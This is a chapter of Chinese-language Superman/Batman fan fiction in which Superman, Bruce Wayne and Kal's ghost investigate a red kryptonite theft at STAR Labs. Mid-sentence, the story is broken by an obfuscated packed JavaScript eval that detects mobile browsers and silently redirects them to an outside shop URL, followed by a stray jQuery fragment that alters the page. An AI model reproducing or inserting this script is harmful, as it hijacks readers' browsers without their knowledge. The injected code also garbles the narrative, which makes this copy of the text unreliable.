飞行,于人类言超脱现实,却又令其无比向往。

    曾有人计算,如果人类想要拥有能飞行的翅膀,其翼展需要人类身高的三倍,与此同时,还要考虑到普通人类的肌肉功率远不如鸟类,即使真的有那样的翅膀人类也无法做到如鸟儿一般随意的原地起飞。

    人们最多只能自高处起跳,借气流滑行——所以当一个可以摆脱重力、轻巧的飞翔在蓝天之中的存在出现时,人们最先想到的就是他为何如此不同。

    “生物立场可以保护你。”超人试图劝慰被抱起后就哪哪不顺的布鲁斯,“你不用担心掉下去,放松点。”

    “你可不是那个毫无防护就被拉上百米高空的人。”布鲁斯冷着张脸。

    超人一手托着他的膝弯一手揽住他的后背,这导致他只能搭上超人的后颈来解决自己无处安放的手。

    超人满脸无辜:“这是你的提议。”

    “是啊,然后你用超级速度换了制服拎起我就走。”布鲁斯剜了他一眼,放弃挣扎般往他怀中靠了些,“有人说过你很会得寸进尺吗?”

    “玛莎说学会体会他人的言外之意是个好习惯,那能让你不错过本该发现的东西。”超人兀自笑了笑。

    布鲁斯怔愣一瞬,又在下一刻回过神:“你的养母。”

    “我的母亲,一个特别好的人。”超人纠正他的用词,接着放缓了语调,“她肯定会很喜欢你。”

    所有了解你的人都会。

    超人觉察了颈间披风被人攥紧,选择将这句话留在了心底。

    但谁说事实一定要说出口呢,真理不言自明,不是吗?

    这头气氛正好,另一边就不一样了。

    卡尔觉得自己最近休眠的时间有点太长了。

    没错,灵魂也是要睡觉的。他原本作息跟克拉克差不多,后来为了遇事能及时反应,非必要不会再出现在人前——在那种时候,连克拉克也无法看见他,要找魂也只能在没人地方喊卡尔的名字——所以除了卡尔自己,没人知道这位鬼魂的真实状况。

    虽然说死人本身就是在长眠,乱飘的灵魂也常常会随机陷入无知无觉的状态,但那种自灵魂深处蔓延而来的疲惫总缠绕在他不存在的睡梦中。

    就像他在死前那段时间,乏力、嗜睡、发热盗汗...持续不断的疼痛。

    那是人类癌症晚期,肿瘤压迫神经、侵入骨骼后较为明显的症状。

    他曾感谢黄太阳对他的恩赐,让他不必真的在临死前形销骨立,令关心他的人为此担忧。

    但现在,卡尔困倦地在黄太阳下趴着,竟再感受不到最初接触阳光时的温暖。

    他如同一个挂着透明牵绳的气球,被一路拽着来到了他们的目的地。

    克拉克并没有换回记者的打扮,布鲁斯告诉他,这叫敲山震虎,卢瑟那边的人知道超人大张旗鼓的来了,多少会心生警惕。

    如果卢瑟得到消息后让那些人撤离,他们的行动就会露出马脚,如果是让他们先按兵不动...那蝙蝠侠自会出手友好问询。

    重点是,卢瑟现在将一切都隐藏得很好,只要他的人有所动作,就有了突破口。

    超人在离开地球前,就与星辰实验室有着长期且友好的合作互助,但这同样不妨碍卢瑟往其中安插内鬼。

    既然卢瑟可以借着参观学习的名义,那布鲁斯自然也可以,更何况还有超人当半个向导。

    “汉密尔顿教授*,好久不见了。”超人与正好当值的人熟络的握了下手,“我该早点来看望老朋友的。”

    “已经够早了超人,我今早在报纸上还见过你。也很高兴见到你,韦恩先生,我仅代表隔离实验室的诸位同僚向您的慷慨资助表达感谢。”留着络腮胡,戴着厚重眼镜的汉密尔顿打量着一同前来的两人,似乎有些欲言又止。

    布鲁斯·韦恩名声远扬,大约这位年过五十的教授也有所耳闻。

    装作对实验室内部建设颇为好奇的布鲁斯被喊回神,露出一个有点精明但不多的笑:“久仰大名了,教授。”

    趁着两人互相寒暄的功夫,超人示意卡尔先进去探查一番。

    “好的老大。”后者玩笑着虚敬了个礼,埋头钻入了地下。

    重叠的白炽灯将整座地下设施点亮,地下保险库、高危生物隔离实验室、高危样本库...

    卡尔在这里停下了脚步,他穿过厚重的合金防爆门,轻易越过多重级别的门禁与生物认证。

    “也许该提醒他们早日研究对付幽灵,或者可以虚化隐身的存在的办法。”卡尔自言自语着走过无数封存着各类外星陨石碎片、高危辐射物的特殊装置。

    很快,他找到了最有可能出问题的部分,存放在二级存放区、由鲜红字体标注的:红氪石样本。

    “克莱伯*那里确实有新的外星样本在进行研究。”汉密尔顿带着两位客人来到星辰实验室真正进行实验的地下一层,“它们伴随着上个月来自几十光年外的流星一起降落地球,是一种红色矿石,经检验,它的物理构造与氪石极其相似。”

    “一种新的氪石。”超人闻言的神情变得严肃。

    走廊分外空旷,汉密尔顿来到通往更低层的升降梯前,他犹豫的看了眼布鲁斯:“再往下走是保密区,还存放着一些危险物品,我想那并不适合参观。”

    “哦,当然了,我可不想因为和奇怪的东西接触后掉光头发。”布鲁斯并没被扫了兴致,还颇有闲心的拿大都会某知名人士开玩笑,“我自己在这走走就行,等你们聊好了——你知道上哪找我,晚点见baby。”

    后半句是对超人说的,当然了,说得好像附近还有别的“baby”似的。

    汉密尔顿的表情更加精彩了,他的视线在韦恩的背影和超人习以为常的神态之间来回扫视,最后堪堪说道:“我以为你的喜好更接近莱恩小姐。”

    “你也跟他们一样认为我有LL收集癖*吗?”超人语带调侃的问。

    “我第一次听说这个词,不得不说十分有趣。”汉密尔顿接受了朋友小小的幽默感,“我的意思是,韦恩不像个会定下来的性子,而你需要那个。”

    超人仔细分辨起汉密尔顿的用词,这句话是一位资深研究员短暂观察后得出的结论,他不得不承认其中部分的正确性。

    克拉克渴望着归宿与稳定长期的感情,那会让他感到幸福,而布鲁斯永远不会停止他现在的生活,他热爱着、并殷切的将自己的一切投入进去,直到亲手将哥谭的罪恶清除或是让自己彻底燃烧殆尽,成为飞蛾扑火后一瞬炸开的火光。

    “这说起来也许很奇怪,但是...”超人思索着,说出了自己都觉得蠢透了的话,“这大概就是我无法移开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17975043|214737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    目光的原因。”

    汉密尔顿瞧着上天入地无所不能的超人,忽得笑出了声:“如果是这样我的朋友,我们都会祝福你的。”

    “我得说这有点肉麻了。”卡尔隔着几十米厚的钢板,将上方的动静看得一清二楚,“如果你们在某个晚上——或者白天?——需要我屏蔽所有感官,相信我,我会跑得比闪电侠还快。”

    “很高兴听到你的告白亲爱的,但我觉得我们的确不合适,我更喜欢堪萨斯小镇男孩那款,所以分手吧。”恰好“误入”了研究员办公室的布鲁斯单手按着耳内的通讯器,他见四下无人就堂而皇之地随意坐下打开了桌上的电脑。

    克拉克盯着地板,像是忽然觉得钢板上面的纹路非常有哲理。

    反正卡尔是觉得存放区的构造很有内涵,七拐八绕,不按编号不按字母好一通乱排,不熟悉的人进来一时半会还真找不到要找的东西。

    如此想着,卡尔路过一个拐角,却迎面撞上了个人。

    那人步履匆匆,神色惶然,额头还渗着虚汗,面对如此明显的异常卡尔当即跟了过去,也正是在看清那人的长相后他急忙向其他人传递消息:“沃米尔·海斯在这,他的目标是氪石!”

    超人与汉密尔顿的目的地本就是这里,他们会来得很快,但在不能直接毁坏建筑的情况下,不会比此时海斯打开保存箱的速度更快。

    卡尔径直飞过去,在氪石的光芒流出前附在了他身上。

    哀戚、慌乱、恐惧,这是卡尔最先在他大脑中看见的东西,接着是思念、不甘、愤怒和...无尽的、对生命的贪念。

    正是这么一瞬的迟疑,卡尔并没有成功接管他的神经细胞走向,只能任凭情感区块的细胞剧烈的反应。

    “我救不了她,我可怜的莱拉,她还那么小。”海斯抱住自己的脑袋,不明白自己为什么这么痛苦,他哀嚎起来,“求求你们,他答应过我可以救她,只要我把东西都送出去,他说他有最好的医生。”

    布鲁斯给的信息里有这个,海斯的女儿莱拉患有脑癌,发现时就已经是晚期。

    卢瑟让他监控红氪石的研究状况,再寻找恰当时机偷走它,但今天超人来了,他以为自己要来不及了。

    样本库的警报骤然响起,海斯几乎在超人到来的那一刻跪地乞求:“我都告诉你的话,你能救她吗?”

    救一个早已神志不清、药石无医的病人,救一个等待死亡降临的生命,只是这样而已有什么难的?

    你不是超人吗?

    这里有半杯水,乐观的人说这里还有半杯水,悲观的人说,这里只剩下半杯水。

    但对于干涸的人来说,杯里是否有水已经不重要了,因为一杯水根本救不了他。

    <你为什么在这儿?>

    卡尔并不记得自己是什么时候出来的,只是当他倦怠得几乎抬不起眼皮时,超人看着他,带着诧异与担忧:“你的眼睛怎么回事?”

    “我的眼睛?”卡尔不明所以。

    他看向身侧,光滑而清晰的金属表面并不吝啬的倒映出他此刻的模样——幽绿的纹路自制服的领口悄然探出,而那双颤动的注视着一切的眼睛,是因氪石毒素而辐射出高饱和的绿。

    <你应该死了才对>                </你应该死了才对></你为什么在这儿?>